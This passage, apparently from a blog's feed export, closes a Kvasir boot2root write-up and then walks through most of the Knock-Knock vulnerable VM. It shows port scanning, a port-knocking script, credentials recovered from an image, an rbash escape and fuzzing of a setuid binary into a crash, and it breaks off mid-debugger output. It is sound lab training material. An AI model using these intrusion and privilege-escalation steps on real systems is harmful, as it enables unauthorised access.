_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;|_|\u0026#34;\u0026#34;\u0026#34;\u0026#34;\u0026#34;| \u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39;\u0026#34;`-0-0-\u0026#39; Congratulations on beating Kvasir - I hope you enjoyed the ride. Take his blood, mix with honey and drink the Mead of Poetry... Big shout out to my beta testers: @barrebas and @TheColonial. Special thanks to Bas for his patience during this endeavour. Feel free to ping me with thoughts/comments on http://wi-fu.co.uk, #VulnHub IRC or Twitter. rasta_mouse(@_RastaMouse) \u0026gt;\u0026gt;\u0026gt; conclusion Wow. I actually can\u0026rsquo;t describe how tired I am now haha. From both doing Kvasir and taking almost a full day for this writeup :D However, this is most definitely one of my most favorite boot2roots out there thus far!\nMany many thanks to @_RastaMouse for putting together this polished piece of work and @VulnHub for the hosting!\n","permalink":"https://leonjza.github.io/blog/2014/11/09/solving-kvasir-netcat-edition/","summary":"\u003ch2 id=\"introduction\"\u003eintroduction\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"http://vulnhub.com/entry/kvasir-i,106/\"\u003eKvasir\u003c/a\u003e, a boot2root by \u003ca href=\"https://twitter.com/_RastaMouse\"\u003e@_RastaMouse\u003c/a\u003e has to be one of my most favorite boot2roots to date, if not the most favorite. Favorite however does not mean it was easy. It also proved to be one of the most challenging ones I have had the chance to try!\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/images/netcat.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eKvasir is \u003cem\u003eextremely\u003c/em\u003e well polished, and it can be seen throughout the VM that \u003ca href=\"https://twitter.com/_RastaMouse\"\u003e@_RastaMouse\u003c/a\u003e has gone through a lot of effort to make every challenge as rewarding as possible. From exploiting simple web based vulnerabilities to service misconfigurations, traffic sniffing, steganography, forensics and cryptopraphy, Kvasir has it all! Solving it also had me make really heavy use of good old netcat.\u003c/p\u003e\n\u003cp\u003eThis writeup details the path I took to read the final flag :)\u003c/p\u003e","title":"solving kvasir netcat edition"},{"content":"introduction Knock-Knock is a vulnerable boot2root VM by @zer0w1re and sure as heck was packed with interesting twists and things to learn!\nI figured I\u0026rsquo;d just have a quick look™, and midnight that evening ended up with root privileges :D\nAs always, if you have not done this VM yet, this post is a massive spoiler and I would highly recommend you close up here and try it first :) This is my experience \u0026lsquo;knocking\u0026rsquo; on the door.\n “Theodore!”\n  “Theodore who?”\n  “Theodore wasn\u0026rsquo;t open so I knocked”\n getting started As always, the vm\u0026rsquo;s files were downloaded and imported into VirtualBox. I fired up the vm and watched arp for any new entries. This presented the first hurdle. A ping scan showed no new IP\u0026rsquo;s in the network range my VM\u0026rsquo;s were in (192.168.56.0/24):\n$ sudo nmap -sN 192.168.56.0/24 Starting Nmap 6.47 ( http://nmap.org ) at 2014-10-14 09:51 SAST Nmap scan report for 192.168.56.1 Host is up (0.000030s latency). All 1000 scanned ports on 192.168.56.1 are closed (936) or open|filtered (64) Nmap done: 256 IP addresses (1 host up) scanned in 14.99 seconds Only the gateway was alive. A arp -a however spilled some of the beans:\n$ arp -i vboxnet0 -a ? (192.168.56.0) at ff:ff:ff:ff:ff:ff on vboxnet0 ifscope [ethernet] ? (192.168.56.1) at a:0:27:0:0:0 on vboxnet0 ifscope permanent [ethernet] ? (192.168.56.2) at (incomplete) on vboxnet0 ifscope [ethernet] [... snip ...] ? (192.168.56.201) at (incomplete) on vboxnet0 ifscope [ethernet] ? (192.168.56.202) at (incomplete) on vboxnet0 ifscope [ethernet] ? (192.168.56.203) at 8:0:27:be:dd:c8 on vboxnet0 ifscope [ethernet] ? (192.168.56.204) at (incomplete) on vboxnet0 ifscope [ethernet] ? (192.168.56.205) at (incomplete) on vboxnet0 ifscope [ethernet] [... snip ...] ? (192.168.56.255) at ff:ff:ff:ff:ff:ff on vboxnet0 ifscope [ethernet] Hello .203! Pinging 192.168.56.203 responded with Destination Port Unreachable messages:\nroot@kali:~# ping -c 2 192.168.56.203 PING 192.168.56.203 (192.168.56.203) 56(84) bytes of data. From 192.168.56.203 icmp_seq=1 Destination Port Unreachable From 192.168.56.203 icmp_seq=2 Destination Port Unreachable --- 192.168.56.203 ping statistics --- 2 packets transmitted, 0 received, +2 errors, 100% packet loss, time 999ms While a little confusing at first, I figured the firewall was to blame here. I proceeded to focus my attention on this IP and did a normal nmap scan:\nroot@kali:~# nmap -sV --reason 192.168.56.203 -p- Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-14 10:03 SAST Nmap scan report for 192.168.56.203 Host is up, received reset (0.0016s latency). Not shown: 65534 filtered ports Reason: 65534 no-responses PORT STATE SERVICE REASON VERSION 1337/tcp open waste? syn-ack 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port1337-TCP:V=6.46%I=7%D=10/14%Time=543CEE50%P=i686-pc-linux-gnu%r(NUL SF:L,15,\u0026#34;\\[12247,\\x202759,\\x2026802\\]\\n\u0026#34;)%r(GenericLines,15,\u0026#34;\\[37866,\\x202 SF:9242,\\x203904\\]\\n\u0026#34;)%r(GetRequest,15,\u0026#34;\\[29185,\\x207368,\\x2028937\\]\\n\u0026#34;)%r SF:(HTTPOptions,15,\u0026#34;\\[55772,\\x205315,\\x2050180\\]\\n\u0026#34;)%r(RTSPRequest,13,\u0026#34;\\[9 SF:301,\\x2026341,\\x20574\\]\\n\u0026#34;)%r(RPCCheck,16,\u0026#34;\\[34002,\\x2046353,\\x2023995\\ SF:]\\n\u0026#34;)%r(DNSVersionBindReq,16,\u0026#34;\\[47043,\\x2037532,\\x2024012\\]\\n\u0026#34;)%r(DNSSt SF:atusRequest,15,\u0026#34;\\[31914,\\x208919,\\x2027965\\]\\n\u0026#34;)%r(Help,15,\u0026#34;\\[63865,\\x2 SF:07077,\\x2055801\\]\\n\u0026#34;)%r(SSLSessionReq,15,\u0026#34;\\[30406,\\x208520,\\x2047713\\]\\ SF:n\u0026#34;)%r(Kerberos,16,\u0026#34;\\[10459,\\x2050977,\\x2063996\\]\\n\u0026#34;)%r(SMBProgNeg,16,\u0026#34;\\ SF:[61080,\\x2038407,\\x2048416\\]\\n\u0026#34;)%r(X11Probe,15,\u0026#34;\\[61127,\\x2058212,\\x203 SF:856\\]\\n\u0026#34;)%r(FourOhFourRequest,16,\u0026#34;\\[11007,\\x2051452,\\x2038765\\]\\n\u0026#34;)%r(L SF:PDString,15,\u0026#34;\\[5738,\\x2063719,\\x2026394\\]\\n\u0026#34;)%r(LDAPBindReq,14,\u0026#34;\\[14292 SF:,\\x20937,\\x2020668\\]\\n\u0026#34;)%r(SIPOptions,16,\u0026#34;\\[33684,\\x2058491,\\x2031373\\] SF:\\n\u0026#34;)%r(LANDesk-RC,16,\u0026#34;\\[58946,\\x2030941,\\x2053345\\]\\n\u0026#34;)%r(TerminalServe SF:r,15,\u0026#34;\\[6672,\\x2031370,\\x2053882\\]\\n\u0026#34;)%r(NCP,16,\u0026#34;\\[15356,\\x2041972,\\x20 SF:52087\\]\\n\u0026#34;)%r(NotesRPC,16,\u0026#34;\\[51444,\\x2044303,\\x2013901\\]\\n\u0026#34;)%r(WMSReque SF:st,13,\u0026#34;\\[87,\\x2044952,\\x2060309\\]\\n\u0026#34;)%r(oracle-tns,15,\u0026#34;\\[51073,\\x204686 SF:0,\\x206777\\]\\n\u0026#34;)%r(afp,16,\u0026#34;\\[30287,\\x2064026,\\x2029364\\]\\n\u0026#34;)%r(kumo-ser SF:ver,14,\u0026#34;\\[17824,\\x2048485,\\x20579\\]\\n\u0026#34;); Service detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5521.11 seconds knock knock\u0026hellip; tcp/1337 was the only open port on the machine. I promptly connected to it to see what we have:\nroot@kali:~# nc -vn 192.168.56.203 1337 (UNKNOWN) [192.168.56.203] 1337 (?) open [6605, 29872, 38566] root@kali:~# nc -vn 192.168.56.203 1337 (UNKNOWN) [192.168.56.203] 1337 (?) open [43059, 22435, 17432] Interesting. Each connection returns a list of numbers. At this stage I should mention that the name of the VM, together with the list of 3 numbers (which look like port numbers as they are always below 65535) had me think that this had to be the sequence in which we have to knock ports to open others.\nPort knocking generally means that we send a sequence of packets on specific ports so that the listener may perform a certain action when the correct sequence has been \u0026lsquo;knocked\u0026rsquo;. Think of it literally as if someone knocks 3 times at your door and you open up. The only thing is the 3 knocks have to be in a specific order, and if they are not, you will generally ignore the person at the door. It\u0026rsquo;s also important to note that you will also not react to say a single knock. Only those 3 specific ones.\nThere are plenty of implementations of port knocking out there. My personal favorite being knock-knock by @moxie. I have previously played with this implementation and its pretty sweet. A crypted packet is sent to a machine that is logging firewall drops. knock-knock tails the kern.log and reacts on the correct sequences.\nThis VM did not give any hints on secrets, so I figured that the implementation is probably not this one. But which one is it? Hard to say at this stage.\n\u0026hellip;whos there? So with the tcp/1337 service telling us a sequence, I set out to test this knocking theory. The first attempt was simply a loop over the ports, using nmap to scan them:\nroot@kali:~# for PORT in 43059 22435 17432; do nmap -PN 192.168.56.203 -p $PORT; done Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-14 11:25 SAST Nmap scan report for 192.168.56.203 Host is up. PORT STATE SERVICE 43059/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-14 11:25 SAST Nmap scan report for 192.168.56.203 Host is up. PORT STATE SERVICE 22435/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 2.13 seconds Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-14 11:25 SAST Nmap scan report for 192.168.56.203 Host is up. PORT STATE SERVICE 17432/tcp filtered unknown Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds With that done, I rescanned the box for any new open ports but nothing was different. I retried the nmap loop just to make sure, but it did not appear to make a difference.\nRemembering that the sequence changed every time you connected to the tcp/1337 service, I figured it may change some configuration on the server to accept a new sequence. So, I re-connected to the tcp/1337 service, and looped over the new sequence. Still, nothing. At this stage a was starting to feel relatively lost as to what may be happening. I returned to doing some research on some implementations of this knock knock concept and came across knockd. I downloaded the client and compiled locally with gcc knock.c -o knock and tested to see if this makes any difference.\nStill nothing. Inspecting this clients sources actually revealed nothing spectacular, and so I though my last resort will be to capture some traffic via wireshark and see if I can figure out anything strange there.\n22 and 80 too The wireshark testing revealed nothing out of the ordinary. The traffic was behaving as expected. I continuously connected to the tcp/1337 service and toyed with some scapy to get different packet variations sent, followed by a full nmap. No dice. A sample scapy session was:\n\u0026gt;\u0026gt;\u0026gt; ip=IP(dst=\u0026#34;192.168.56.203\u0026#34;) \u0026gt;\u0026gt;\u0026gt; SYN=TCP(dport=40508,flags=\u0026#34;S\u0026#34;) \u0026gt;\u0026gt;\u0026gt; send(ip/SYN) . Sent 1 packets. \u0026gt;\u0026gt;\u0026gt; After quite some time, suddenly, nmap reports tcp/22 and tcp/80 as open\u0026hellip;\nroot@kali:~# nmap 192.168.56.203 Starting Nmap 6.46 ( http://nmap.org ) at 2014-10-14 11:40 SAST Nmap scan report for 192.168.56.203 Host is up (0.00032s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 4.98 seconds W.T.F. I actually had no idea why this worked. I had some theories, but based on the amount of testing I did, I figured that I effectively brute-forced my way in.\nWith the ports now open, I did shuffle some ideas with a few people, and it came out the the sequence may be randomized. With that in mind, I decided to slap together a python script that will try all of the possible sequences and knock all of them, hoping that one of them is eventually the correct one:\n#!/usr/bin/python import socket import itertools import sys destination = \u0026#34;192.168.56.203\u0026#34; def clean_up_ports(raw_string): \u0026#34;\u0026#34;\u0026#34; Clean up the raw string received on the socket\u0026#34;\u0026#34;\u0026#34; if len(raw_string) \u0026lt;= 0: return None # Remove the first [ raw_string = raw_string.replace(\u0026#39;[\u0026#39;,\u0026#39;\u0026#39;) # Remove the second ] raw_string = raw_string.replace(\u0026#39;]\u0026#39;,\u0026#39;\u0026#39;) # split by commas first_list = raw_string.split(\u0026#39;,\u0026#39;) # start e empty return list ports = [] for port in first_list: # strip the whitespace around the string # and cast to a integer ports.append(int(port.strip())) return ports def main(): print \u0026#34;[+] Getting sequence\u0026#34; try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((destination, 1337)) except Exception as e: print \u0026#34;[+] Unable to connect to %son port 1337. %s\u0026#34; % (destination, e) sys.exit(1) # receive the list raw_list = sock.recv(20) # get the ports in a actual python list ports = clean_up_ports(raw_list) print \u0026#34;[+] Sequence is %s\u0026#34; % ports print \u0026#34;[+] Knocking on the door using all the possible combinations...\\n\u0026#34; # Lets knock all of the possible combinations of the ports list for port_list in itertools.permutations(ports): print \u0026#34;[+] Knocking with sequence: %s\u0026#34; % (port_list,) for port in port_list: print \u0026#34;[+] Knocking on port %s:%s\u0026#34; % (destination,port) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(0.1) sock.connect_ex((destination, port)) sock.close() print \u0026#34;[+] Finished sequence knock\\n\u0026#34; if __name__ == \u0026#39;__main__\u0026#39;: print \u0026#34;[+] Knock knock opener\u0026#34; main() print \u0026#34;[+] Done\u0026#34; Running this opened the ports every go :)\nI know that I could test to see if say tcp/22 was open, but I went with the assumption that you don\u0026rsquo;t know what the actual ports are that should be opened, and hence the complete run of all of the permutations.\nmay I burn the door now? So, focus shifted to the web server at tcp/80. Browsing to the web server presented us with the following:\n  Any path/file that you browse to will return this exact same picture. Sound familiar? :) This kinda breaks any form of scanning and or enumeration via things like wfuzz etc. With the hint Gotta look harder, I decided to move my attention to the door image itself.\nroot@kali:~# wget http://192.168.56.203/knockknock.jpg --2014-10-14 13:04:34-- http://192.168.56.203/knockknock.jpg Connecting to 192.168.56.203:80... connected. HTTP request sent, awaiting response... 200 OK Length: 84741 (83K) [image/jpeg] Saving to: `knockknock.jpg\u0026#39; 100%[============\u0026gt;] 84,741 68.2K/s in 1.2s 2014-10-14 13:04:35 (68.2 KB/s) - `knockknock.jpg\u0026#39; saved [84741/84741] I will admit that I was not very keen on the idea that something may be stego\u0026rsquo;d in the image and I was really hoping the hint would be very obvious. I opened up the image in a image viewer and zoomed in a little on the artifact I noticed at the bottom of the image. Nothing I could make real use of there.\nNext, I ran the image through exiftool:\nroot@kali:~/Desktop/knock-knock# exiftool knockknock.jpg ExifTool Version Number : 8.60 File Name : knockknock.jpg Directory : . File Size : 83 kB File Modification Date/Time : 2014:10:06 18:38:30+02:00 File Permissions : rw-r--r-- File Type : JPEG MIME Type : image/jpeg JFIF Version : 1.02 Resolution Unit : None X Resolution : 100 Y Resolution : 100 Quality : 74% XMP Toolkit : Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43 Marked : © Estate of Roy Lichtenstein Web Statement : © Estate of Roy Lichtenstein Rights : © Estate of Roy Lichtenstein DCT Encode Version : 100 APP14 Flags 0 : [14], Encoded with Blend=1 downsampling APP14 Flags 1 : (none) Color Transform : YCbCr Image Width : 650 Image Height : 788 Encoding Process : Baseline DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1) Image Size : 650x788 Roy Lichtenstein. The artist of the knock knock image? Anyways. As you can see, nothing else that is really useful here. So the next part was to have a look at the jpeg in a raw perspective. I am no forensics expert or anything so I am pretty limited in knowledge here.\nMy idea was to try and recover the jpeg data from knockknock.jpg using recoverjpeg, and then compare the resulting image with the original and check for any differences.\n# extract the jpeg data root@kali:~# recoverjpeg knockknock.jpg Restored 1 picture # the output image from the extract root@kali:~# ls image00000.jpg image00000.jpg # the cmp root@kali:~# cmp image00000.jpg knockknock.jpg cmp: EOF on image00000.jpg So, the EOF differs from the 2 files. Lets check them out. First the extracted jpeg data file to see what it sais:\nroot@kali:~# tail -n 1 image00000.jpg 9\u0004��\u0026lt;V ��\u0019v�ܫQqRJ5U�\u0026lt;�\u0015�W�V9`��5\u0018BV(\u0010��\u0026lt;�\u0002t�WS����\u001a\u001a�1h ��\u001e\\���z$���vB�� As expected, junk :P Lets look at knockknock.jpeg:\nroot@kali:~# tail -n 4 knockknock.jpg ⭚|U���b�\u0015�[�\u0015k|U�������+\\U����]�U¸��qW|U�]�qWX�F��\u0016*��\u0015kz����]��ѭqV�k튷�P��\u001c�b��T�\\+\\U��Wo��9b�\u0026lt;�V��]���B��[�\u0015v*�Uثx�X�x�[����o������|U����\u0015v*�^��x��Wb�o���b��b��\u0015[����qU����צ*����*���qW� Login Credentials abfnW sax2Cw9Ow Hah! Login Credentials sound very promising!! :)\nceasar opens the door After finding the hidden strings in the jpeg, I came to a quick realization that abfnW:sax2Cw9Ow was not a username:password combination for the SSH service. Nor was any variations of the 2 strings.\nI tried to browse to the paths in the web server such as abfnW/ and sax2Cw9Ow/, but still only got the knock knock image. With these arb strings and nothing else really to go on, I had to try get a hint on this.\nTurns out, the strings were encoded using a Ceasar Cipher (ROT13). With that in mind, I took to a few python 1 liners to decode the strings. Lets start with abfnW:\nroot@kali:~# python -c \u0026#39;print \u0026#34;abfnW\u0026#34;.decode(\u0026#34;rot13\u0026#34;)\u0026#39; nosaJ abfnW decoded directly to nosaJ. That is Jason reversed. So is the username Jason? Next, I tackled sax2Cw9Ow in a similar fashion:\nroot@kali:~# python -c \u0026#39;print \u0026#34;sax2Cw9Ow\u0026#34;.decode(\u0026#34;rot13\u0026#34;)\u0026#39; fnk2Pj9Bj sax2Cw9Ow decodes to fnk2Pj9Bj. Is this one also reversed? After a number of attempts and variations, it turns out that the user name is jason (without the cap J) and the password is fnk2Pj9Bj (jB9jP2knf reversed.) To get the strings in their correct values, we can use the following 2 one liners to get them:\n# username root@kali:~# python -c \u0026#39;print \u0026#34;abfnW\u0026#34;.decode(\u0026#34;rot13\u0026#34;)[::-1].lower()\u0026#39; jason # password root@kali:~# python -c \u0026#39;print \u0026#34;sax2Cw9Ow\u0026#34;.decode(\u0026#34;rot13\u0026#34;)[::-1]\u0026#39; jB9jP2knf So to get our first shell:\nroot@kali:~/Desktop/knock-knock# ssh jason@192.168.56.203 jason@192.168.56.203\u0026#39;s password: Linux knockknock 3.2.0-4-486 #1 Debian 3.2.60-1+deb7u3 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Mon Oct 6 12:33:37 2014 from 192.168.56.202 jason@knockknock:~$ no rbash, just no Upon first login, I pressed TAB out of pure habit and was immediately presented with the following:\njason@knockknock:~$ -rbash: /dev/null: restricted: cannot redirect output -rbash: /dev/null: restricted: cannot redirect output Rbash? Oh well thats ok. I checked by inspecting the env var for SHELL which was /bin/rbash just to confirm. Thanks to having recently met a similar situation during the Persistence boot2root and learning new ways of breaking out of rbash, I just typed nice /bin/bash, which runs a program, supposedly modifying its priority. In this case we care little about the priority. :) We now have a full bash shell.\ntiny file crypter Some quick initial enumeration did not reveal anything particularly interesting. In jason\u0026rsquo;s home folder though was a file called tfc:\njason@knockknock:~$ ls -lah total 32K drwxr-xr-x 2 jason jason 4.0K Oct 11 18:51 . drwxr-xr-x 3 root root 4.0K Sep 24 21:03 .. lrwxrwxrwx 1 jason jason 9 Sep 26 09:50 .bash_history -\u0026gt; /dev/null -rw-r--r-- 1 jason jason 220 Sep 24 21:03 .bash_logout -rw-r--r-- 1 jason jason 3.4K Sep 25 21:58 .bashrc -rw-r--r-- 1 jason jason 675 Sep 24 21:03 .profile -rwsr-xr-x 1 root jason 7.3K Oct 11 18:35 tfc -rw------- 1 jason jason 2.4K Oct 11 18:42 .viminfo jason@knockknock:~$ ./tfc _______________________________ \\__ ___/\\_ _____/\\_ ___ \\  | | | __) / \\  \\/ | | | \\  \\  \\____ |____| \\___ / \\______ / \\/ \\/ Tiny File Crypter - 1.0 Usage: ./tfc \u0026lt;filein.tfc\u0026gt; \u0026lt;fileout.tfc\u0026gt; jason@knockknock:~$ Tiny File Crypter appeared to take a input file and encrypt it. Fair enough. The file is owned by root with the setuid bit set, strongly suggesting that if we are able to exploit this binary somehow, we may be able to get root.\nSome important observations about tfc during the first bits of testing; Input and output files must have the .tfc extension. tfc does not allow for symlinks as input and or output files. Lastly, the input and output file has to be set and accessible by tfc. Considering its run as root, that probably wont be a problem.\nA sample encryption run can be seen as:\n# we have a source document jason@knockknock:~$ cat test.tfc This is a test document. # we run the encryption program over it jason@knockknock:~$ ./tfc test.tfc crypt.tfc \u0026gt;\u0026gt; File crypted, goodbye! # dump the encrypted file as hex. from the ascii we # can see its no longer human readable jason@knockknock:~$ xxd crypt.tfc 0000000: cbd9 7399 3cdf 9922 26f1 cb40 5e85 6a6d ..s.\u0026lt;..\u0026#34;\u0026amp;..@^.jm 0000010: 07a4 7543 5048 ea33 6a ..uCPH.3j # the resulting file is owned by root jason@knockknock:~$ls -l crypt.tfc -rw-r--r-- 1 root jason 25 Oct 14 08:12 crypt.tfc Now, there is one very important finding. We can reverse the encrypted file by simply running it through tfc again:\njason@knockknock:~$ ./tfc crypt.tfc reversed.tfc \u0026gt;\u0026gt; File crypted, goodbye! jason@knockknock:~$ cat reversed.tfc This is a test document. After finding this, quite a few ideas pop into ones head. Most notably, the fact that the encryption is reversible by using the same tool, suggests it is symmetric using the same key for encryption and decryption.\nBut ok. That actually means nothing now. It also definitely does not tell us how to break tfc either!\nfuzzing \u0026amp; disassembling tfc With all of the information gathered thus far about tfc, I tried a few more tricks to get it to override files in arb places and or read arb files. The extension requirement and symlink checks basically foiled all of my attempts. In summary, I wanted to try and override /etc/shadow to replace roots password, or replace /root/.ssh/authorized_keys with one of my own, but the checks prevented all of that. The best I could get was that I could write files anywhere, but they would always have the .tfc extension.\nBy now it became very apparent that we have to bring tfc under the microscope and have a closer look at what is happening inside. The first step was to run tfc through strings and check the output:\njason@knockknock:~$ strings tfc /lib/ld-linux.so.2 [... snip ...] [^_] Tiny File Crypter - 1.0 Usage: ./tfc \u0026lt;filein.tfc\u0026gt; \u0026lt;fileout.tfc\u0026gt; \u0026gt;\u0026gt; Filenames need a .tfc extension \u0026gt;\u0026gt; No symbolic links! \u0026gt;\u0026gt; Failed to open input file \u0026gt;\u0026gt; Failed to create the output file \u0026gt;\u0026gt; File crypted, goodbye! ;*2$\u0026#34; _______________________________ \\__ ___/\\_ _____/\\_ ___ \\ | | | __) / \\ \\/ | | | \\ \\ \\____ |____| \\___ / \\______ / \\/ \\/ As you can see, quite literally nothing useful. The only familiar thing here was the error messages that I have seen while testing initially :D\nI figured I needed to get tfc into gdb and inspect it further there, however this VM did not have gdb installed. So, I copied it off the VM onto my Kali Linux install and plugged it into gdb. Then, to get an idea of what its doing, I started to disassemble it, starting with main:\nroot@kali:~# gdb -q ./tfc Reading symbols from /root/tfc...(no debugging symbols found)...done. gdb-peda$ disass main Dump of assembler code for function main: 0x08048924 \u0026lt;+0\u0026gt;: push ebp 0x08048925 \u0026lt;+1\u0026gt;: mov ebp,esp [... snip ...] 0x0804894e \u0026lt;+42\u0026gt;: mov DWORD PTR [esp],eax 0x08048951 \u0026lt;+45\u0026gt;: call 0x80486e6 \u0026lt;cryptFile\u0026gt; #\u0026lt;--- 0x08048956 \u0026lt;+50\u0026gt;: test eax,eax [... snip ...] 0x0804896c \u0026lt;+72\u0026gt;: ret End of assembler dump. gdb-peda$ After some initial setup work and argument checks we notice a call to a function called cryptFile. So the next logical step was to check what happening in that function:\ngdb-peda$ disass cryptFile Dump of assembler code for function cryptFile: 0x080486e6 \u0026lt;+0\u0026gt;: push ebp 0x080486e7 \u0026lt;+1\u0026gt;: mov ebp,esp 0x080486e9 \u0026lt;+3\u0026gt;: sub esp,0x1088 [... snip ...] 0x080488a8 \u0026lt;+450\u0026gt;: mov DWORD PTR [esp],eax 0x080488ab \u0026lt;+453\u0026gt;: call 0x8048618 \u0026lt;xcrypt\u0026gt; #\u0026lt;--- 0x080488b0 \u0026lt;+458\u0026gt;: mov eax,DWORD PTR [ebp-0x14] [... snip ...] 0x08048922 \u0026lt;+572\u0026gt;: leave 0x08048923 \u0026lt;+573\u0026gt;: ret End of assembler dump. gdb-peda$ crytFile does some internal things (like call 0x80484a0 \u0026lt;open@plt\u0026gt; opening the file?) and eventually calls a function xcrypt. So, what are we gonna do? Disassemble it ofc! :) Inspecting it it seemed that this may be the actual heart of the encryption logic based on the bunch of xor calls it had. Of course, this is only a guess and I may have missed something else completely.\nI also checked out the security features this binary was compiled with:\ngdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : disabled PIE : disabled RELRO : disabled Woa. No security? Ok\u0026hellip;\nwe knocked and tfc opened the door to bof The disassembly of tfc did not exactly point out any specific failures immediately either. Mainly due to my complete noobness. :)\nSo, I had the idea to check how it handles large files. And by large I mean to gradually increase the size of the file to be encrypted, starting with like 2MB. So I started to test this:\n# create a file of roughly 2MB root@kali:~# dd if=/dev/urandom of=large.tfc bs=1M count=2 2+0 records in 2+0 records out 2097152 bytes (2.1 MB) copied, 0.132812 s, 15.8 MB/s # confirm the size of the file root@kali:~# ls -lh large.tfc -rw-r--r-- 1 root root 2.0M Oct 14 15:01 large.tfc # check how many characters we have in the file root@kali:~# wc -c large.tfc 2097152 large.tfc # attempt encryption root@kali:~# ./tfc large.tfc out.tfc Segmentation fault Segmentation fault! Being able to crash tfc is really good news. I went on to test just how many characters were needed to crash tfc in a easily reproducible way, and it came down to something like 6000 characters were doing the job just fine. So, it was time to inspect this crash in gdb. I first prepared a new file with just \u0026ldquo;A\u0026rdquo; in it:\nroot@kali:~# echo -n $(python -c \u0026#39;print \u0026#34;A\u0026#34;*6000\u0026#39;) \u0026gt; gdb-test.tfc And continued to run it in gdb:\nroot@kali:~# gdb -q ./tfc Reading symbols from /root/tfc...(no debugging symbols found)...done. gdb-peda$ r gdb-test.tfc gdb-test-out.tfc Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xb7fbfff4 --\u0026gt; 0x14bd7c ECX: 0xffffffc8 EDX: 0x9 (\u0026#39;\\t\u0026#39;) ESI: 0x0 EDI: 0x0 EBP: 0xc55193b ESP: 0xbffff3c0 (\u0026#34;_dv(\\002\\250C^zƜ=\\214`P@JH\\\\/Ux7;\u0026lt;\\243\\211T*U\\227\\071\\017:\\236\\026L\\021\\267\\b\\265\\275ktJj\\323\\024w\\367\\f;\\031\\372\\065u_˰\u0026#39;\\255nL^F\\275\\351D;\\251\\376~\\246b\\a\\006Wҩ\u0026gt;\\001\\330Zn\\242T\\273wO\\245uK\\251\\364?\u0026gt;\\362\\005$1\\016k\\371\\035\\\u0026#34;\\030}x\\367\\177\\320\u0026amp;e:\\202\\030)\\316\\337/\u0026lt;\\371\\237\\\\pC\\237\\071+)\\215JLN,f\\352\u0026amp;\\005t\\362\\272\\254M\\261\\343\\205\\035:O\\027a\\177\\345\\331v\\276\\200wEjR\\372nrY\\034 \\246OBpz\\227\\337\u0026gt;\\335#S@\u0026amp;tW\\t\\265\\236\\fSi\\r\\364\\024\\205\\334qj|\\250\\270o\u0026#34;...) EIP: 0x675c916 EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x675c916 [------------------------------------stack-------------------------------------] 0000| 0xbffff3c0 (\u0026#34;_dv(\\002\\250C^zƜ=\\214`P@JH\\\\/Ux7;\u0026lt;\\243\\211T*U\\227\\071\\017:\\236\\026L\\021\\267\\b\\265\\275ktJj\\323\\024w\\367\\f;\\031\\372\\065u_˰\u0026#39;\\255nL^F\\275\\351D;\\251\\376~\\246b\\a\\006Wҩ\u0026gt;\\001\\330Zn\\242T\\273wO\\245uK\\251\\364?\u0026gt;\\362\\005$1\\016k\\371\\035\\\u0026#34;\\030}x\\367\\177\\320\u0026amp;e:\\202\\030)\\316\\337/\u0026lt;\\371\\237\\\\pC\\237\\071+)\\215JLN,f\\352\u0026amp;\\005t\\362\\272\\254M\\261\\343\\205\\035:O\\027a\\177\\345\\331v\\276\\200wEjR\\372nrY\\034 \\246OBpz\\227\\337\u0026gt;\\335#S@\u0026amp;tW\\t\\265\\236\\fSi\\r\\364\\024\\205\\334qj|\\250\\270o\u0026#34;...) 0004| 0xbffff3c4 --\u0026gt; 0x5e43a802 0008| 0xbffff3c8 --\u0026gt; 0x3d9cc67a 0012| 0xbffff3cc --\u0026gt; 0x4050608c 0016| 0xbffff3d0 (\u0026#34;JH\\\\/Ux7;\u0026lt;\\243\\211T*U\\227\\071\\017:\\236\\026L\\021\\267\\b\\265\\275ktJj\\323\\024w\\367\\f;\\031\\372\\065u_˰\u0026#39;\\255nL^F\\275\\351D;\\251\\376~\\246b\\a\\006Wҩ\u0026gt;\\001\\330Zn\\242T\\273wO\\245uK\\251\\364?\u0026gt;\\362\\005$1\\016k\\371\\035\\\u0026#34;\\030}x\\367\\177\\320\u0026amp;e:\\202\\030)\\316\\337/\u0026lt;\\371\\237\\\\pC\\237\\071+)\\215JLN,f\\352\u0026amp;\\005t\\362\\272\\254M\\261\\343\\205\\035:O\\027a\\177\\345\\331v\\276\\200wEjR\\372nrY\\034 